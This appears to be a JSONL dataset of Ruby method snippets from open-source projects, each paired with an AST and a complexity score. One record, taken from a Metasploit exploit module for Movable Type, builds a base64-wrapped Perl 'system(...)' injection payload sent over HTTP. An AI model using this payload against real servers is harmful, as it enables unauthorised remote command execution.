{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/lib/api/v3/cost_entries/entity_representer_factory.rb","start_line":62,"raw_source":"def title_attribute(model)\n          case model\n          when WorkPackage then :subject\n          # when Meeting then :title\n          else\n            raise ArgumentError, \"Missing concrete entity representer for #{model}\"\n          end\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"title_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},{\"type\":\"sym\",\"children\":[\"subject\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Missing concrete entity representer for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]}]}]}]}]}]}","id":"427e78f6-f453-4fba-85e2-253ce698d791"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/collectors/sql_string.rb","start_line":15,"raw_source":"def add_bind(bind, &)\n        self << yield(@bind_index)\n        @bind_index += 1\n        self\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"add_bind\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bind\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"<<\",{\"type\":\"yield\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bind_index\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@bind_index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"8c2592d3-332f-4a8e-824e-84264a3e3b30"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/docker_run/video.rb","start_line":82,"raw_source":"def retrieve_video(example)\n            return unless record?(example) && example.exception\n\n            # We need to wait until the video is finished processing by checking the size\n            QA::Support::Waiter.wait_until(max_duration: 30, sleep_interval: 1) do\n              size =\n                shell(\"docker exec #{@recorder_container_name} sh -c 'stat -c %s /data/#{@current_recording_name}.mp4'\")\n              size.to_i > 1024\n            end\n\n            shell(\"docker cp #{@recorder_container_name}:/data/#{@current_recording_name}.mp4 tmp/\")\n\n            \"#{shell('pwd')}/tmp/#{@current_recording_name}.mp4\"\n          rescue StandardError => e\n            QA::Runtime::Logger.warn(\"Video retrieval error: #{e}\")\n          end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"retrieve_video\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"example\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record?\",{\"type\":\"lvar\",\"children\":[\"example\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example\"]},\"exception\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Support\"]},\"Waiter\"]},\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_duration\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[null,\"shell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"docker exec \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recorder_container_name\"]}]},{\"type\":\"str\",\"children\":[\" sh -c 'stat -c %s /data/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_recording_name\"]}]},{\"type\":\"str\",\"children\":[\".mp4'\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"to_i\"]},\">\",{\"type\":\"int\",\"children\":[1024]}]}]}]},{\"type\":\"send\",\"children\":[null,\"shell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"docker cp \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recorder_container_name\"]}]},{\"type\":\"str\",\"children\":[\":/data/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_recording_name\"]}]},{\"type\":\"str\",\"children\":[\".mp4 tmp/\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shell\",{\"type\":\"str\",\"children\":[\"pwd\"]}]}]},{\"type\":\"str\",\"children\":[\"/tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_recording_name\"]}]},{\"type\":\"str\",\"children\":[\".mp4\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Video retrieval error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}","id":"544673ec-053c-48af-8f0a-8c192e773169"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_diff.rb","start_line":286,"raw_source":"def start_element(name, attributes = [])\n      return if USELESS_TAGS.include?(name)\n      attrs = attributes.map { |a| \" #{a[0]}=\\\"#{CGI.escapeHTML(a[1])}\\\"\" }.join\n      @tokens << \"<#{name}#{attrs}>\"\n    end","complexity_score":12.93,"ast_json":"{\"type\":\"def\",\"children\":[\"start_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"attributes\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"USELESS_TAGS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\"=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escapeHTML\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},\"join\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tokens\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}]}]}","id":"66e7a463-6a6f-43d8-8cb8-f5199202a9ca"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/scoping.rb","start_line":25,"raw_source":"def current_scope(skip_inherited_scope = false)\n        ScopeRegistry.current_scope(self, skip_inherited_scope)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"current_scope\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"skip_inherited_scope\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScopeRegistry\"]},\"current_scope\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"skip_inherited_scope\"]}]}]}","id":"851921a9-a35b-4e17-aa73-588d0869e16b"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/common/styles.rb","start_line":99,"raw_source":"def agenda_item_title_cell\n      resolve_table_cell(@styles.dig(:agenda_item, :title_cell))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"agenda_item_title_cell\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resolve_table_cell\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@styles\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"agenda_item\"]},{\"type\":\"sym\",\"children\":[\"title_cell\"]}]}]}]}","id":"4f929a2e-e139-497e-9773-20d07fa32c7e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/message_creator.rb","start_line":47,"raw_source":"def arrow_left_shortcut\n          input.send_keys(:left)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"arrow_left_shortcut\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input\"]},\"send_keys\",{\"type\":\"sym\",\"children\":[\"left\"]}]}]}","id":"2ab6e1b3-5dd5-4819-a745-013fa177481b"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20190716014949_rename_deprecated_badge_icons.rb","start_line":4,"raw_source":"def up\n    execute \"UPDATE badges SET icon = 'far-clock' WHERE icon = 'fa-clock-o'\"\n    execute \"UPDATE badges SET icon = 'far-eye' WHERE icon = 'fa-eye'\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE badges SET icon = 'far-clock' WHERE icon = 'fa-clock-o'\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE badges SET icon = 'far-eye' WHERE icon = 'fa-eye'\"]}]}]}]}","id":"435814ca-d4fc-42c1-9c98-23a03942874f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/java_jdwp_debugger.rb","start_line":318,"raw_source":"def version\n    \"#{@vars[\"vm_name\"]} - #{@vars[\"vm_version\"]}\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vars\"]},\"[]\",{\"type\":\"str\",\"children\":[\"vm_name\"]}]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vars\"]},\"[]\",{\"type\":\"str\",\"children\":[\"vm_version\"]}]}]}]}]}","id":"cfb481d5-d69b-4277-9bde-f322feb17095"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/open_graph.rb","start_line":5,"raw_source":"def initialize(doc)\n      @data = extract(doc)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"doc\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@data\",{\"type\":\"send\",\"children\":[null,\"extract\",{\"type\":\"lvar\",\"children\":[\"doc\"]}]}]}]}","id":"8ddacfb8-1700-4561-a3c3-bb7d21b9f629"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/diff.rb","start_line":221,"raw_source":"def too_large?\n        if @too_large.nil?\n          @too_large = diff_bytesize >= self.class.patch_hard_limit_bytes\n        else\n          @too_large\n        end\n      end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"too_large?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@too_large\"]},\"nil?\"]},{\"type\":\"ivasgn\",\"children\":[\"@too_large\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_bytesize\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"patch_hard_limit_bytes\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@too_large\"]}]}]}","id":"6194ebb3-430c-4be4-b751-c29e3e526399"}
{"repo_name":"flog","file_path":"./repos/flog/lib/flog.rb","start_line":257,"raw_source":"def penalize_by bonus\n    @multiplier += bonus\n    yield\n    @multiplier -= bonus\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"penalize_by\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bonus\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@multiplier\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"bonus\"]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@multiplier\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"bonus\"]}]}]}]}","id":"2eb38866-38f9-438a-9870-79eb71a61302"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects/pages_helper.rb","start_line":26,"raw_source":"def build_pages_url(project)\n      Gitlab::Pages::UrlBuilder\n        .new(project)\n        .pages_url\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_pages_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Pages\"]},\"UrlBuilder\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},\"pages_url\"]}]}","id":"1b67a0bf-6efb-4ae9-84cd-4d52a8b0db58"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/jira_connect/events_controller.rb","start_line":56,"raw_source":"def transformed_params\n    @transformed_params ||= params.transform_keys(&:underscore)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"transformed_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@transformed_params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"transform_keys\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"underscore\"]}]}]}]}]}","id":"a8c81abd-ae3e-4229-aedb-3e46bf1dd7d1"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/imap.rb","start_line":66,"raw_source":"def receive(message_id, imap, imap_options, options)\n        msg = imap.fetch(message_id, \"RFC822\")[0].attr[\"RFC822\"]\n        raise \"Message was not successfully handled.\" unless IncomingEmails::MailHandler.receive(msg, options)\n\n        message_received(message_id, imap, imap_options)\n      rescue StandardError => e\n        Rails.logger.error { \"Message #{message_id} resulted in error #{e} #{e.message}\" }\n        message_error(message_id, imap, imap_options)\n      end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"receive\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message_id\"]},{\"type\":\"arg\",\"children\":[\"imap\"]},{\"type\":\"arg\",\"children\":[\"imap_options\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imap\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"message_id\"]},{\"type\":\"str\",\"children\":[\"RFC822\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"attr\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RFC822\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IncomingEmails\"]},\"MailHandler\"]},\"receive\",{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Message was not successfully handled.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"message_received\",{\"type\":\"lvar\",\"children\":[\"message_id\"]},{\"type\":\"lvar\",\"children\":[\"imap\"]},{\"type\":\"lvar\",\"children\":[\"imap_options\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Message \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_id\"]}]},{\"type\":\"str\",\"children\":[\" resulted in error \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"message_error\",{\"type\":\"lvar\",\"children\":[\"message_id\"]},{\"type\":\"lvar\",\"children\":[\"imap\"]},{\"type\":\"lvar\",\"children\":[\"imap_options\"]}]}]}]},null]}]}","id":"3a69877a-79f9-4ecc-b98d-084d4ea17681"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision_configuration_script_request.rb","start_line":20,"raw_source":"def self.new_request_task(attribs)\n    request_task_class_from(attribs).new(attribs)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new_request_task\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_task_class_from\",{\"type\":\"lvar\",\"children\":[\"attribs\"]}]},\"new\",{\"type\":\"lvar\",\"children\":[\"attribs\"]}]}]}","id":"0268b3a8-2ee0-4674-b1e2-04bbc837fbeb"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/dialog_field_tag_control.rb","start_line":18,"raw_source":"def category_name\n    options[:category_name]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"category_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_name\"]}]}]}","id":"bcf063eb-5ea6-46e4-9104-84dd7a10ec8d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/request_pool.rb","start_line":47,"raw_source":"def use\n      @last_used_at = current_time\n      @in_use       = true\n\n      retries = 0\n\n      begin\n        yield @http_client\n      rescue HTTP::ConnectionError\n        # It's possible the connection was closed, so let's\n        # try re-opening it once\n\n        close\n\n        if @fresh || retries.positive?\n          raise\n        else\n          @http_client = http_client\n          retries     += 1\n          retry\n        end\n      rescue\n        # If this connection raises errors of any kind, it's\n        # better if it gets reaped as soon as possible\n\n        close\n        @dead = true\n        raise\n      end\n    ensure\n      @fresh  = false\n      @in_use = false\n    end","complexity_score":24.7,"ast_json":"{\"type\":\"def\",\"children\":[\"use\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@last_used_at\",{\"type\":\"send\",\"children\":[null,\"current_time\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@in_use\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"retries\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@http_client\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HTTP\"]},\"ConnectionError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"close\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fresh\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retries\"]},\"positive?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@http_client\",{\"type\":\"send\",\"children\":[null,\"http_client\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"retries\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"retry\",\"children\":[]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"close\"]},{\"type\":\"ivasgn\",\"children\":[\"@dead\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@fresh\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@in_use\",{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"efd765e0-8162-4329-8fd9-7761f85f51cc"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/app/controllers/boards/boards_controller.rb","start_line":58,"raw_source":"def load_query\n      projects = @project || Project.allowed_to(User.current, :show_board_views)\n\n      @board_grids = Boards::Grid.includes(:project)\n                                 .references(:project)\n                                 .where(project: projects)\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"projects\",{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"allowed_to\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},{\"type\":\"sym\",\"children\":[\"show_board_views\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@board_grids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Boards\"]},\"Grid\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"references\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"projects\"]}]}]}]}]}]}]}","id":"c00f3ac8-bfde-45b2-a3ba-d5775c523667"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/email/styles.rb","start_line":21,"raw_source":"def initialize(html, opts = nil)\n      @html = html\n      @opts = opts || {}\n      @fragment = Nokogiri::HTML5.parse(@html)\n      @custom_styles = nil\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@html\",{\"type\":\"lvar\",\"children\":[\"html\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@opts\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@fragment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML5\"]},\"parse\",{\"type\":\"ivar\",\"children\":[\"@html\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@custom_styles\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"5c3ae50f-90bd-428c-9aa6-25e3bc386fdb"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/custom_attribute.rb","start_line":7,"raw_source":"def value=(value)\n    self.serialized_value = value\n    self[:value] = value\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"value=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"serialized_value=\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"6304714b-38a5-4e9f-b9a5-a478d58d74d2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/movabletype_upgrade_exec.rb","start_line":118,"raw_source":"def http_send_cmd(cmd)\n    pay = 'v0;use MIME::Base64;system(decode_base64(q('\n    pay << Rex::Text.encode_base64(cmd)\n    pay << ')));return 0'\n    http_send_raw(pay)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"http_send_cmd\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pay\",{\"type\":\"str\",\"children\":[\"v0;use MIME::Base64;system(decode_base64(q(\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pay\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pay\"]},\"<<\",{\"type\":\"str\",\"children\":[\")));return 0\"]}]},{\"type\":\"send\",\"children\":[null,\"http_send_raw\",{\"type\":\"lvar\",\"children\":[\"pay\"]}]}]}]}","id":"80d78950-55da-40a4-a264-562857057733"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/commit.rb","start_line":408,"raw_source":"def cherry_pick_branch_name\n    repository.next_branch(\"cherry-pick-#{short_id}\", mild: true)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cherry_pick_branch_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"next_branch\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cherry-pick-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"short_id\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mild\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"637e7d0e-1143-42b2-ae89-8ec29fda4856"}
